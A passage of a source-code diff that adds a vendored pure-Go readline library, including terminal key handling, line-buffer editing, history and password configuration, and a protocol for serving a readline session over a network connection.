0, err + } + if ir.EventType != EVENT_KEY { + goto next + } + ker := (*_KEY_EVENT_RECORD)(unsafe.Pointer(&ir.Event[0])) + if ker.bKeyDown == 0 { // keyup + if r.ctrlKey || r.altKey { + switch ker.wVirtualKeyCode { + case VK_RCONTROL, VK_LCONTROL: + r.ctrlKey = false + case VK_MENU: //alt + r.altKey = false + } + } + goto next + } + + if ker.unicodeChar == 0 { + var target rune + switch ker.wVirtualKeyCode { + case VK_RCONTROL, VK_LCONTROL: + r.ctrlKey = true + case VK_MENU: //alt + r.altKey = true + case VK_LEFT: + target = CharBackward + case VK_RIGHT: + target = CharForward + case VK_UP: + target = CharPrev + case VK_DOWN: + target = CharNext + } + if target != 0 { + return r.write(buf, target) + } + goto next + } + char := rune(ker.unicodeChar) + if r.ctrlKey { + switch char { + case 'A': + char = CharLineStart + case 'E': + char = CharLineEnd + case 'R': + char = CharBckSearch + case 'S': + char = CharFwdSearch + } + } else if r.altKey { + switch char { + case VK_BACK: + char = CharBackspace + } + return r.writeEsc(buf, char) + } + return r.write(buf, char) +} + +func (r *RawReader) writeEsc(b []byte, char rune) (int, error) { + b[0] = '\033' + n := copy(b[1:], []byte(string(char))) + return n + 1, nil +} + +func (r *RawReader) write(b []byte, char rune) (int, error) { + n := copy(b, []byte(string(char))) + return n, nil +} + +func (r *RawReader) Close() error { + return nil +} diff --git a/readline/readline.go b/readline/readline.go new file mode 100644 index 0000000..6b1f9bb --- /dev/null +++ b/readline/readline.go @@ -0,0 +1,338 @@ +// Readline is a pure go implementation for GNU-Readline kind library. +// +// example: +// rl, err := readline.New("> ") +// if err != nil { +// panic(err) +// } +// defer rl.Close() +// +// for { +// line, err := rl.Readline() +// if err != nil { // io.EOF +// break +// } +// println(line) +// } +// +package readline + +import "io" + +type Instance struct { + Config *Config + Terminal *Terminal + Operation *Operation +} + +type Config struct { + // prompt supports ANSI escape sequence, so we can color some characters even in windows + Prompt string + + // readline will persist historys to file where HistoryFile specified + HistoryFile string + // specify the max length of historys, it's 500 by default, set it to -1 to disable history + HistoryLimit int + DisableAutoSaveHistory bool + // enable case-insensitive history searching + HistorySearchFold bool + + // AutoCompleter will called once user press TAB + AutoComplete AutoCompleter + + // Any key press will pass to Listener + // NOTE: Listener will be triggered by (nil, 0, 0) immediately + Listener Listener + + Painter Painter + + // If VimMode is true, readline will in vim.insert mode by default + VimMode bool + + InterruptPrompt string + EOFPrompt string + + FuncGetWidth func() int + + Stdin io.ReadCloser + StdinWriter io.Writer + Stdout io.Writer + Stderr io.Writer + + EnableMask bool + MaskRune rune + + // erase the editing line after user submited it + // it use in IM usually. + UniqueEditLine bool + + // filter input runes (may be used to disable CtrlZ or for translating some keys to different actions) + // -> output = new (translated) rune and true/false if continue with processing this one + FuncFilterInputRune func(rune) (rune, bool) + + // force use interactive even stdout is not a tty + FuncIsTerminal func() bool + FuncMakeRaw func() error + FuncExitRaw func() error + FuncOnWidthChanged func(func()) + ForceUseInteractive bool + ForcePrint bool + // private fields + inited bool + opHistory *opHistory + opSearch *opSearch +} + +func (c *Config) useInteractive() bool { + if c.ForceUseInteractive { + return true + } + return c.FuncIsTerminal() +} + +func (c *Config) Init() error { + if c.inited { + return nil + } + c.inited = true + if c.Stdin == nil { + c.Stdin = NewCancelableStdin(Stdin) + } + + c.Stdin, c.StdinWriter = NewFillableStdin(c.Stdin) + + if c.Stdout == nil { + c.Stdout = Stdout + } + if c.Stderr == nil { + c.Stderr = Stderr + } + if c.HistoryLimit == 0 { + c.HistoryLimit = 500 + } + + if c.InterruptPrompt == "" { + c.InterruptPrompt = "^C" + } else if c.InterruptPrompt == "\n" { + c.InterruptPrompt = "" + } + if c.EOFPrompt == "" { + c.EOFPrompt = "^D" + } else if c.EOFPrompt == "\n" { + c.EOFPrompt = "" + } + + if c.AutoComplete == nil { + c.AutoComplete = &TabCompleter{} + } + if c.FuncGetWidth == nil { + c.FuncGetWidth = GetScreenWidth + } + if c.FuncIsTerminal == nil { + c.FuncIsTerminal = DefaultIsTerminal + } + rm := new(RawMode) + if c.FuncMakeRaw == nil { + c.FuncMakeRaw = rm.Enter + } + if c.FuncExitRaw == nil { + c.FuncExitRaw = rm.Exit + } + if c.FuncOnWidthChanged == nil { + c.FuncOnWidthChanged = DefaultOnWidthChanged + } + + return nil +} + +func (c Config) Clone() *Config { + c.opHistory = nil + c.opSearch = nil + return &c +} + +func (c *Config) SetListener(f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)) { + c.Listener = FuncListener(f) +} + +func (c *Config) SetPainter(p Painter) { + c.Painter = p +} + +func NewEx(cfg *Config) (*Instance, error) { + t, err := NewTerminal(cfg) + if err != nil { + return nil, err + } + rl := t.Readline() + if cfg.Painter == nil { + cfg.Painter = &defaultPainter{} + } + return &Instance{ + Config: cfg, + Terminal: t, + Operation: rl, + }, nil +} + +func New(prompt string) (*Instance, error) { + return NewEx(&Config{Prompt: prompt}) +} + +func (i *Instance) ResetHistory() { + i.Operation.ResetHistory() +} + +func (i *Instance) SetPrompt(s string) { + i.Operation.SetPrompt(s) +} + +func (i *Instance) SetMaskRune(r rune) { + i.Operation.SetMaskRune(r) +} + +// change history persistence in runtime +func (i *Instance) SetHistoryPath(p string) { + i.Operation.SetHistoryPath(p) +} + +// readline will refresh automatic when write through Stdout() +func (i *Instance) Stdout() io.Writer { + return i.Operation.Stdout() +} + +// readline will refresh automatic when write through Stdout() +func (i *Instance) Stderr() io.Writer { + return i.Operation.Stderr() +} + +// switch VimMode in runtime +func (i *Instance) SetVimMode(on bool) { + i.Operation.SetVimMode(on) +} + +func (i *Instance) IsVimMode() bool { + return i.Operation.IsEnableVimMode() +} + +func (i *Instance) GenPasswordConfig() *Config { + return i.Operation.GenPasswordConfig() +} + +// we can generate a config by `i.GenPasswordConfig()` +func (i *Instance) ReadPasswordWithConfig(cfg *Config) ([]byte, error) { + return i.Operation.PasswordWithConfig(cfg) +} + +func (i *Instance) ReadPasswordEx(prompt string, l Listener) ([]byte, error) { + return i.Operation.PasswordEx(prompt, l) +} + +func (i *Instance) ReadPassword(prompt string) ([]byte, error) { + return i.Operation.Password(prompt) +} + +type Result struct { + Line string + Error error +} + +func (l *Result) CanContinue() bool { + return len(l.Line) != 0 && l.Error == ErrInterrupt +} + +func (l *Result) CanBreak() bool { + return !l.CanContinue() && l.Error != nil +} + +func (i *Instance) Line() *Result { + ret, err := i.Readline() + return &Result{ret, err} +} + +func (i *Instance) ReadlineEx() (string, error) { + return i.Operation.StringEx() +} + +// err is one of (nil, io.EOF, readline.ErrInterrupt) +func (i *Instance) Readline() (string, error) { + return i.Operation.String() +} + +func (i *Instance) ReadlineWithDefault(what string) (string, error) { + i.Operation.SetBuffer(what) + return i.Operation.String() +} + +func (i *Instance) SaveHistory(content string) error { + return i.Operation.SaveHistory(content) +} + +// same as readline +func (i *Instance) ReadSlice() ([]byte, error) { + return i.Operation.Slice() +} + +// we must make sure that call Close() before process exit. +func (i *Instance) Close() error { + i.Config.Stdin.Close() + i.Operation.Close() + if err := i.Terminal.Close(); err != nil { + return err + } + return nil +} + +// call CaptureExitSignal when you want readline exit gracefully. +func (i *Instance) CaptureExitSignal() { + CaptureExitSignal(func() { + i.Close() + }) +} + +func (i *Instance) Clean() { + i.Operation.Clean() +} + +func (i *Instance) Write(b []byte) (int, error) { + return i.Stdout().Write(b) +} + +// WriteStdin prefill the next Stdin fetch +// Next time you call ReadLine() this value will be writen before the user input +// ie : +// i := readline.New() +// i.WriteStdin([]byte("test")) +// _, _= i.Readline() +// +// gives +// +// > test[cursor] +func (i *Instance) WriteStdin(val []byte) (int, error) { + return i.Terminal.WriteStdin(val) +} + +func (i *Instance) SetConfig(cfg *Config) *Config { + if i.Config == cfg { + return cfg + } + old := i.Config + i.Config = cfg + i.Operation.SetConfig(cfg) + i.Terminal.SetConfig(cfg) + return old +} + +func (i *Instance) Refresh() { + i.Operation.Refresh() +} + +// HistoryDisable the save of the commands into the history +func (i *Instance) HistoryDisable() { + i.Operation.history.Disable() +} + +// HistoryEnable the save of the commands into the history (default on) +func (i *Instance) HistoryEnable() { + i.Operation.history.Enable() +} diff --git a/readline/readline_test.go b/readline/readline_test.go new file mode 100644 index 0000000..34a5a3b --- /dev/null +++ b/readline/readline_test.go @@ -0,0 +1,27 @@ +package readline + +import ( + "testing" + "time" +) + +func TestRace(t *testing.T) { + rl, err := NewEx(&Config{}) + if err != nil { + t.Fatal(err) + return + } + + go func() { + for range time.Tick(time.Millisecond) { + rl.SetPrompt("hello") + } + }() + + go func() { + time.Sleep(100 * time.Millisecond) + rl.Close() + }() + + rl.Readline() +} diff --git a/readline/remote.go b/readline/remote.go new file mode 100644 index 0000000..74dbf56 --- /dev/null +++ b/readline/remote.go @@ -0,0 +1,475 @@ +package readline + +import ( + "bufio" + "bytes" + "encoding/binary" + "fmt" + "io" + "net" + "os" + "sync" + "sync/atomic" +) + +type MsgType int16 + +const ( + T_DATA = MsgType(iota) + T_WIDTH + T_WIDTH_REPORT + T_ISTTY_REPORT + T_RAW + T_ERAW // exit raw + T_EOF +) + +type RemoteSvr struct { + eof int32 + closed int32 + width int32 + reciveChan chan struct{} + writeChan chan *writeCtx + conn net.Conn + isTerminal bool + funcWidthChan func() + stopChan chan struct{} + + dataBufM sync.Mutex + dataBuf bytes.Buffer +} + +type writeReply struct { + n int + err error +} + +type writeCtx struct { + msg *Message + reply chan *writeReply +} + +func newWriteCtx(msg *Message) *writeCtx { + return &writeCtx{ + msg: msg, + reply: make(chan *writeReply), + } +} + +func NewRemoteSvr(conn net.Conn) (*RemoteSvr, error) { + rs := &RemoteSvr{ + width: -1, + conn: conn, + writeChan: make(chan *writeCtx), + reciveChan: make(chan struct{}), + stopChan: make(chan struct{}), + } + buf := bufio.NewReader(rs.conn) + + if err := rs.init(buf); err != nil { + return nil, err + } + + go rs.readLoop(buf) + go rs.writeLoop() + return rs, nil +} + +func (r *RemoteSvr) init(buf *bufio.Reader) error { + m, err := ReadMessage(buf) + if err != nil { + return err + } + // receive isTerminal + if m.Type != T_ISTTY_REPORT { + return fmt.Errorf("unexpected init message") + } + r.GotIsTerminal(m.Data) + + // receive width + m, err = ReadMessage(buf) + if err != nil { + return err + } + if m.Type != T_WIDTH_REPORT { + return fmt.Errorf("unexpected init message") + } + r.GotReportWidth(m.Data) + + return nil +} + +func (r *RemoteSvr) HandleConfig(cfg *Config) { + cfg.Stderr = r + cfg.Stdout = r + cfg.Stdin = r + cfg.FuncExitRaw = r.ExitRawMode + cfg.FuncIsTerminal = r.IsTerminal + cfg.FuncMakeRaw = r.EnterRawMode + cfg.FuncExitRaw = r.ExitRawMode + cfg.FuncGetWidth = r.GetWidth + cfg.FuncOnWidthChanged = func(f func()) { + r.funcWidthChan = f + } +} + +func (r *RemoteSvr) IsTerminal() bool { + return r.isTerminal +} + +func (r *RemoteSvr) checkEOF() error { + if atomic.LoadInt32(&r.eof) == 1 { + return io.EOF + } + return nil +} + +func (r *RemoteSvr) Read(b []byte) (int, error) { + r.dataBufM.Lock() + n, err := r.dataBuf.Read(b) + r.dataBufM.Unlock() + if n == 0 { + if err := r.checkEOF(); err != nil { + return 0, err + } + } + + if n == 0 && err == io.EOF { + <-r.reciveChan + r.dataBufM.Lock() + n, err = r.dataBuf.Read(b) + r.dataBufM.Unlock() + } + if n == 0 { + if err := r.checkEOF(); err != nil { + return 0, err + } + } + + return n, err +} + +func (r *RemoteSvr) writeMsg(m *Message) error { + ctx := newWriteCtx(m) + r.writeChan <- ctx + reply := <-ctx.reply + return reply.err +} + +func (r *RemoteSvr) Write(b []byte) (int, error) { + ctx := newWriteCtx(NewMessage(T_DATA, b)) + r.writeChan <- ctx + reply := <-ctx.reply + return reply.n, reply.err +} + +func (r *RemoteSvr) EnterRawMode() error { + return r.writeMsg(NewMessage(T_RAW, nil)) +} + +func (r *RemoteSvr) ExitRawMode() error { + return r.writeMsg(NewMessage(T_ERAW, nil)) +} + +func (r *RemoteSvr) writeLoop() { + defer r.Close() + +loop: + for { + select { + case ctx, ok := <-r.writeChan: + if !ok { + break + } + n, err := ctx.msg.WriteTo(r.conn) + ctx.reply <- &writeReply{n, err} + case <-r.stopChan: + break loop + } + } +} + +func (r *RemoteSvr) Close() error { + if atomic.CompareAndSwapInt32(&r.closed, 0, 1) { + close(r.stopChan) + r.conn.Close() + } + return nil +} + +func (r *RemoteSvr) readLoop(buf *bufio.Reader) { + defer r.Close() + for { + m, err := ReadMessage(buf) + if err != nil { + break + } + switch m.Type { + case T_EOF: + atomic.StoreInt32(&r.eof, 1) + select { + case r.reciveChan <- struct{}{}: + default: + } + case T_DATA: + r.dataBufM.Lock() + r.dataBuf.Write(m.Data) + r.dataBufM.Unlock() + select { + case r.reciveChan <- struct{}{}: + default: + } + case T_WIDTH_REPORT: + r.GotReportWidth(m.Data) + case T_ISTTY_REPORT: + r.GotIsTerminal(m.Data) + } + } +} + +func (r *RemoteSvr) GotIsTerminal(data []byte) { + if binary.BigEndian.Uint16(data) == 0 { + r.isTerminal = false + } else { + r.isTerminal = true + } +} + +func (r *RemoteSvr) GotReportWidth(data []byte) { + atomic.StoreInt32(&r.width, int32(binary.BigEndian.Uint16(data))) + if r.funcWidthChan != nil { + r.funcWidthChan() + } +} + +func (r *RemoteSvr) GetWidth() int { + return int(atomic.LoadInt32(&r.width)) +} + +// ----------------------------------------------------------------------------- + +type Message struct { + Type MsgType + Data []byte +} + +func ReadMessage(r io.Reader) (*Message, error) { + m := new(Message) + var length int32 + if err := binary.Read(r, binary.BigEndian, &length); err != nil { + return nil, err + } + if err := binary.Read(r, binary.BigEndian, &m.Type); err != nil { + return nil, err + } + m.Data = make([]byte, int(length)-2) + if _, err := io.ReadFull(r, m.Data); err != nil { + return nil, err + } + return m, nil +} + +func NewMessage(t MsgType, data []byte) *Message { + return &Message{t, data} +} + +func (m *Message) WriteTo(w io.Writer) (int, error) { + buf := bytes.NewBuffer(make([]byte, 0, len(m.Data)+2+4)) + binary.Write(buf, binary.BigEndian, int32(len(m.Data)+2)) + binary.Write(buf, binary.BigEndian, m.Type) + buf.Write(m.Data) + n, err := buf.WriteTo(w) + return int(n), err +} + +// ----------------------------------------------------------------------------- + +type RemoteCli struct { + conn net.Conn + raw RawMode + receiveChan chan struct{} + inited int32 + isTerminal *bool + + data bytes.Buffer + dataM sync.Mutex +} + +func NewRemoteCli(conn net.Conn) (*RemoteCli, error) { + r := &RemoteCli{ + conn: conn, + receiveChan: make(chan struct{}), + } + return r, nil +} + +func (r *RemoteCli) MarkIsTerminal(is bool) { + r.isTerminal = &is +} + +func (r *RemoteCli) init() error { + if !atomic.CompareAndSwapInt32(&r.inited, 0, 1) { + return nil + } + + if err := r.reportIsTerminal(); err != nil { + return err + } + + if err := r.reportWidth(); err != nil { + return err + } + + // register sig for width changed + DefaultOnWidthChanged(func() { + r.reportWidth() + }) + return nil +} + +func (r *RemoteCli) writeMsg(m *Message) error { + r.dataM.Lock() + _, err := m.WriteTo(r.conn) + r.dataM.Unlock() + return err +} + +func (r *RemoteCli) Write(b []byte) (int, error) { + m := NewMessage(T_DATA, b) + r.dataM.Lock() + _, err := m.WriteTo(r.conn) + r.dataM.Unlock() + return len(b), err +} + +func (r *RemoteCli) reportWidth() error { + screenWidth := GetScreenWidth() + data := make([]byte, 2) + binary.BigEndian.PutUint16(data, uint16(screenWidth)) + msg := NewMessage(T_WIDTH_REPORT, data) + + if err := r.writeMsg(msg); err != nil { + return err + } + return nil +} + +func (r *RemoteCli) reportIsTerminal() error { + var isTerminal bool + if r.isTerminal != nil { + isTerminal = *r.isTerminal + } else { + isTerminal = DefaultIsTerminal() + } + data := make([]byte, 2) + if isTerminal { + binary.BigEndian.PutUint16(data, 1) + } else { + binary.BigEndian.PutUint16(data, 0) + } + msg := NewMessage(T_ISTTY_REPORT, data) + if err := r.writeMsg(msg); err != nil { + return err + } + return nil +} + +func (r *RemoteCli) readLoop() { + buf := bufio.NewReader(r.conn) + for { + msg, err := ReadMessage(buf) + if err != nil { + break + } + switch msg.Type { + case T_ERAW: + r.raw.Exit() + case T_RAW: + r.raw.Enter() + case T_DATA: + os.Stdout.Write(msg.Data) + } + } +} + +func (r *RemoteCli) ServeBy(source io.Reader) error { + if err := r.init(); err != nil { + return err + } + + go func() { + defer r.Close() + for { + n, _ := io.Copy(r, source) + if n == 0 { + break + } + } + }() + defer r.raw.Exit() + r.readLoop() + return nil +} + +func (r *RemoteCli) Close() { + r.writeMsg(NewMessage(T_EOF, nil)) +} + +func (r *RemoteCli) Serve() error { + return r.ServeBy(os.Stdin) +} + +func ListenRemote(n, addr string, cfg *Config, h func(*Instance), onListen ...func(net.Listener) error) error { + ln, err := net.Listen(n, addr) + if err != nil { + return err + } + if len(onListen) > 0 { + if err := onListen[0](ln); err != nil { + return err + } + } + for { + conn, err := ln.Accept() + if err != nil { + break + } + go func() { + defer conn.Close() + rl, err := HandleConn(*cfg, conn) + if err != nil { + return + } + h(rl) + }() + } + return nil +} + +func HandleConn(cfg Config, conn net.Conn) (*Instance, error) { + r, err := NewRemoteSvr(conn) + if err != nil { + return nil, err + } + r.HandleConfig(&cfg) + + rl, err := NewEx(&cfg) + if err != nil { + return nil, err + } + return rl, nil +} + +func DialRemote(n, addr string) error { + conn, err := net.Dial(n, addr) + if err != nil { + return err + } + defer conn.Close() + + cli, err := NewRemoteCli(conn) + if err != nil { + return err + } + return cli.Serve() +} diff --git a/readline/runebuf.go b/readline/runebuf.go new file mode 100644 index 0000000..2ef7d0b --- /dev/null +++ b/readline/runebuf.go @@ -0,0 +1,649 @@ +package readline + +import ( + "bufio" + "bytes" + "fmt" + "io" + "strconv" + "strings" + "sync" +) + +type runeBufferBck struct { + buf []rune + idx int +} + +type RuneBuffer struct { + buf []rune + idx int + prompt []rune + w io.Writer + + hadClean bool + interactive bool + cfg *Config + + width int + + bck *runeBufferBck + + offset string + + lastKill []rune + + sync.Mutex +} + +func (r *RuneBuffer) pushKill(text []rune) { + r.lastKill = append([]rune{}, text...) +} + +func (r *RuneBuffer) OnWidthChange(newWidth int) { + r.Lock() + r.width = newWidth + r.Unlock() +} + +func (r *RuneBuffer) Backup() { + r.Lock() + r.bck = &runeBufferBck{r.buf, r.idx} + r.Unlock() +} + +func (r *RuneBuffer) Restore() { + r.Refresh(func() { + if r.bck == nil { + return + } + r.buf = r.bck.buf + r.idx = r.bck.idx + }) +} + +func NewRuneBuffer(w io.Writer, prompt string, cfg *Config, width int) *RuneBuffer { + + rb := &RuneBuffer{ + w: w, + interactive: cfg.useInteractive(), + cfg: cfg, + width: width, + } + rb.SetPrompt(prompt) + return rb +} + +func (r *RuneBuffer) SetConfig(cfg *Config) { + r.Lock() + r.cfg = cfg + r.interactive = cfg.useInteractive() + r.Unlock() +} + +func (r *RuneBuffer) SetMask(m rune) { + r.Lock() + r.cfg.MaskRune = m + r.Unlock() +} + +func (r *RuneBuffer) CurrentWidth(x int) int { + r.Lock() + defer r.Unlock() + return runes.WidthAll(r.buf[:x]) +} + +func (r *RuneBuffer) PromptLen() int { + r.Lock() + width := r.promptLen() + r.Unlock() + return width +} + +func (r *RuneBuffer) promptLen() int { + return runes.WidthAll(runes.ColorFilter(r.prompt)) +} + +func (r *RuneBuffer) RuneSlice(i int) []rune { + r.Lock() + defer r.Unlock() + + if i > 0 { + rs := make([]rune, i) + copy(rs, r.buf[r.idx:r.idx+i]) + return rs + } + rs := make([]rune, -i) + copy(rs, r.buf[r.idx+i:r.idx]) + return rs +} + +func (r *RuneBuffer) Runes() []rune { + r.Lock() + newr := make([]rune, len(r.buf)) + copy(newr, r.buf) + r.Unlock() + return newr +} + +func (r *RuneBuffer) Pos() int { + r.Lock() + defer r.Unlock() + return r.idx +} + +func (r *RuneBuffer) Len() int { + r.Lock() + defer r.Unlock() + return len(r.buf) +} + +func (r *RuneBuffer) MoveToLineStart() { + r.Refresh(func() { + if r.idx == 0 { + return + } + r.idx = 0 + }) +} + +func (r *RuneBuffer) MoveBackward() { + + r.Refresh(func() { + + if r.idx == 0 { + return + } + if r.cfg.ForcePrint { + fmt.Print(string([]byte{8})) + } + r.idx-- + }) +} + +func (r *RuneBuffer) WriteString(s string) { + r.WriteRunes([]rune(s)) +} + +func (r *RuneBuffer) WriteRune(s rune) { + r.WriteRunes([]rune{s}) +} + +func (r *RuneBuffer) WriteRunes(s []rune) { + r.Refresh(func() { + if r.cfg.ForcePrint { + fmt.Print(string(s)) + } + tail := append(s, r.buf[r.idx:]...) + r.buf = append(r.buf[:r.idx], tail...) + r.idx += len(s) + }) +} + +func (r *RuneBuffer) MoveForward() { + r.Refresh(func() { + if r.idx == len(r.buf) { + return + } + if r.cfg.ForcePrint { + fmt.Print(string(r.buf[r.idx])) + } + r.idx++ + }) +} + +func (r *RuneBuffer) IsCursorInEnd() bool { + r.Lock() + defer r.Unlock() + return r.idx == len(r.buf) +} + +func (r *RuneBuffer) Replace(ch rune) { + r.Refresh(func() { + r.buf[r.idx] = ch + }) +} + +func (r *RuneBuffer) Erase() { + r.Refresh(func() { + r.idx = 0 + r.pushKill(r.buf[:]) + r.buf = r.buf[:0] + }) +} + +func (r *RuneBuffer) Delete() (success bool) { + r.Refresh(func() { + if r.idx == len(r.buf) { + return + } + r.pushKill(r.buf[r.idx : r.idx+1]) + r.buf = append(r.buf[:r.idx], r.buf[r.idx+1:]...) + success = true + }) + return +} + +func (r *RuneBuffer) DeleteWord() { + if r.idx == len(r.buf) { + return + } + init := r.idx + for init < len(r.buf) && IsWordBreak(r.buf[init]) { + init++ + } + for i := init + 1; i < len(r.buf); i++ { + if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) { + r.pushKill(r.buf[r.idx : i-1]) + r.Refresh(func() { + r.buf = append(r.buf[:r.idx], r.buf[i-1:]...) + }) + return + } + } + r.Kill() +} + +func (r *RuneBuffer) MoveToPrevWord() (success bool) { + r.Refresh(func() { + if r.idx == 0 { + return + } + + for i := r.idx - 1; i > 0; i-- { + if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) { + r.idx = i + success = true + return + } + } + r.idx = 0 + success = true + }) + return +} + +func (r *RuneBuffer) KillFront() { + r.Refresh(func() { + if r.idx == 0 { + return + } + + length := len(r.buf) - r.idx + r.pushKill(r.buf[:r.idx]) + copy(r.buf[:length], r.buf[r.idx:]) + r.idx = 0 + r.buf = r.buf[:length] + }) +} + +func (r *RuneBuffer) Kill() { + r.Refresh(func() { + r.pushKill(r.buf[r.idx:]) + r.buf = r.buf[:r.idx] + }) +} + +func (r *RuneBuffer) Transpose() { + r.Refresh(func() { + if len(r.buf) == 1 { + r.idx++ + } + + if len(r.buf) < 2 { + return + } + + if r.idx == 0 { + r.idx = 1 + } else if r.idx >= len(r.buf) { + r.idx = len(r.buf) - 1 + } + r.buf[r.idx], r.buf[r.idx-1] = r.buf[r.idx-1], r.buf[r.idx] + r.idx++ + }) +} + +func (r *RuneBuffer) MoveToNextWord() { + r.Refresh(func() { + for i := r.idx + 1; i < len(r.buf); i++ { + if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) { + r.idx = i + return + } + } + + r.idx = len(r.buf) + }) +} + +func (r *RuneBuffer) MoveToEndWord() { + r.Refresh(func() { + // already at the end, so do nothing + if r.idx == len(r.buf) { + return + } + // if we are at the end of a word already, go to next + if !IsWordBreak(r.buf[r.idx]) && IsWordBreak(r.buf[r.idx+1]) { + r.idx++ + } + + // keep going until at the end of a word + for i := r.idx + 1; i < len(r.buf); i++ { + if IsWordBreak(r.buf[i]) && !IsWordBreak(r.buf[i-1]) { + r.idx = i - 1 + return + } + } + r.idx = len(r.buf) + }) +} + +func (r *RuneBuffer) BackEscapeWord() { + r.Refresh(func() { + if r.idx == 0 { + return + } + for i := r.idx - 1; i > 0; i-- { + if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) { + r.pushKill(r.buf[i:r.idx]) + r.buf = append(r.buf[:i], r.buf[r.idx:]...) + r.idx = i + return + } + } + + r.buf = r.buf[:0] + r.idx = 0 + }) +} + +func (r *RuneBuffer) Yank() { + if len(r.lastKill) == 0 { + return + } + r.Refresh(func() { + buf := make([]rune, 0, len(r.buf)+len(r.lastKill)) + buf = append(buf, r.buf[:r.idx]...) + buf = append(buf, r.lastKill...) + buf = append(buf, r.buf[r.idx:]...) + r.buf = buf + r.idx += len(r.lastKill) + }) +} + +func (r *RuneBuffer) Backspace() { + r.Refresh(func() { + if r.idx == 0 { + return + } + if r.cfg.ForcePrint { + fmt.Print(string([]byte{8, 32, 8})) + } + r.idx-- + r.buf = append(r.buf[:r.idx], r.buf[r.idx+1:]...) + }) +} + +func (r *RuneBuffer) MoveToLineEnd() { + r.Refresh(func() { + if r.idx == len(r.buf) { + return + } + + r.idx = len(r.buf) + }) +} + +func (r *RuneBuffer) LineCount(width int) int { + if width == -1 { + width = r.width + } + return LineCount(width, + runes.WidthAll(r.buf)+r.PromptLen()) +} + +func (r *RuneBuffer) MoveTo(ch rune, prevChar, reverse bool) (success bool) { + r.Refresh(func() { + if reverse { + for i := r.idx - 1; i >= 0; i-- { + if r.buf[i] == ch { + r.idx = i + if prevChar { + r.idx++ + } + success = true + return + } + } + return + } + for i := r.idx + 1; i < len(r.buf); i++ { + if r.buf[i] == ch { + r.idx = i + if prevChar { + r.idx-- + } + success = true + return + } + } + }) + return +} + +func (r *RuneBuffer) isInLineEdge() bool { + if isWindows { + return false + } + sp := r.getSplitByLine(r.buf) + + return len(sp[len(sp)-1]) == 0 +} + +func (r *RuneBuffer) getSplitByLine(rs []rune) []string { + return SplitByLine(r.promptLen(), r.width, rs) +} + +func (r *RuneBuffer) IdxLine(width int) int { + r.Lock() + defer r.Unlock() + return r.idxLine(width) +} + +func (r *RuneBuffer) idxLine(width int) int { + if width == 0 { + return 0 + } + sp := r.getSplitByLine(r.buf[:r.idx]) + return len(sp) - 1 +} + +func (r *RuneBuffer) CursorLineCount() int { + return r.LineCount(r.width) - r.IdxLine(r.width) +} + +func (r *RuneBuffer) Refresh(f func()) { + r.Lock() + defer r.Unlock() + + if !r.interactive { + if f != nil { + f() + } + return + } + + r.clean() + if f != nil { + f() + } + r.print() +} + +func (r *RuneBuffer) SetOffset(offset string) { + r.Lock() + r.offset = offset + r.Unlock() +} + +func (r *RuneBuffer) print() { + + r.w.Write(r.output()) + r.hadClean = false +} + +func (r *RuneBuffer) output() []byte { + buf := bytes.NewBuffer(nil) + buf.WriteString(string(r.prompt)) + if r.cfg.EnableMask && len(r.buf) > 0 { + + buf.Write([]byte(strings.Repeat(string(r.cfg.MaskRune), len(r.buf)-1))) + if r.buf[len(r.buf)-1] == '\n' { + buf.Write([]byte{'\n'}) + } else { + buf.Write([]byte(string(r.cfg.MaskRune))) + } + if len(r.buf) > r.idx { + buf.Write(r.getBackspaceSequence()) + } + + } else { + + for _, e := range r.cfg.Painter.Paint(r.buf, r.idx) { + if e == '\t' { + buf.WriteString(strings.Repeat(" ", TabWidth)) + } else { + buf.WriteRune(e) + } + } + if r.isInLineEdge() { + buf.Write([]byte(" \b")) + } + } + // cursor position + if len(r.buf) > r.idx { + buf.Write(r.getBackspaceSequence()) + } + return buf.Bytes() +} + +func (r *RuneBuffer) getBackspaceSequence() []byte { + var sep = map[int]bool{} + + var i int + for { + if i >= runes.WidthAll(r.buf) { + break + } + + if i == 0 { + i -= r.promptLen() + } + i += r.width + + sep[i] = true + } + var buf []byte + for i := len(r.buf); i > r.idx; i-- { + // move input to the left of one + buf = append(buf, '\b') + if sep[i] { + // up one line, go to the start of the line and move cursor right to the end (r.width) + buf = append(buf, "\033[A\r"+"\033["+strconv.Itoa(r.width)+"C"...) + } + } + + return buf + +} + +func (r *RuneBuffer) Reset() []rune { + ret := runes.Copy(r.buf) + r.buf = r.buf[:0] + r.idx = 0 + return ret +} + +func (r *RuneBuffer) calWidth(m int) int { + if m > 0 { + return runes.WidthAll(r.buf[r.idx : r.idx+m]) + } + return runes.WidthAll(r.buf[r.idx+m : r.idx]) +} + +func (r *RuneBuffer) SetStyle(start, end int, style string) { + if end < start { + panic("end < start") + } + + // goto start + move := start - r.idx + if move > 0 { + r.w.Write([]byte(string(r.buf[r.idx : r.idx+move]))) + } else { + r.w.Write(bytes.Repeat([]byte("\b"), r.calWidth(move))) + } + r.w.Write([]byte("\033[" + style + "m")) + r.w.Write([]byte(string(r.buf[start:end]))) + r.w.Write([]byte("\033[0m")) + // TODO: move back +} + +func (r *RuneBuffer) SetWithIdx(idx int, buf []rune) { + r.Refresh(func() { + r.buf = buf + r.idx = idx + }) +} + +func (r *RuneBuffer) Set(buf []rune) { + r.SetWithIdx(len(buf), buf) +} + +func (r *RuneBuffer) SetPrompt(prompt string) { + r.Lock() + r.prompt = []rune(prompt) + r.Unlock() +} + +func (r *RuneBuffer) cleanOutput(w io.Writer, idxLine int) { + buf := bufio.NewWriter(w) + + if r.width == 0 { + buf.WriteString(strings.Repeat("\r\b", len(r.buf)+r.promptLen())) + buf.Write([]byte("\033[J")) + } else { + buf.Write([]byte("\033[J")) // just like ^k :) + if idxLine == 0 { + buf.WriteString("\033[2K") + buf.WriteString("\r") + } else { + for i := 0; i < idxLine; i++ { + io.WriteString(buf, "\033[2K\r\033[A") + } + io.WriteString(buf, "\033[2K\r") + } + } + buf.Flush() + return +} + +func (r *RuneBuffer) Clean() { + r.Lock() + r.clean() + r.Unlock() +} + +func (r *RuneBuffer) clean() { + r.cleanWithIdxLine(r.idxLine(r.width)) +} + +func (r *RuneBuffer) cleanWithIdxLine(idxLine int) { + if r.hadClean || !r.interactive { + return + } + r.hadClean = true + + r.cleanOutput(r.w, idxLine) +} diff --git a/readline/runes.go 